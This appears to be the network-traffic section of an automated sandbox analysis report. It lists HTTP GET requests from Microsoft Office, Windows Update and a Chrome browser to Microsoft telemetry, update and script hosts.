Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Bvm5m86EoTs5XUT&MD=wHey2B1y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
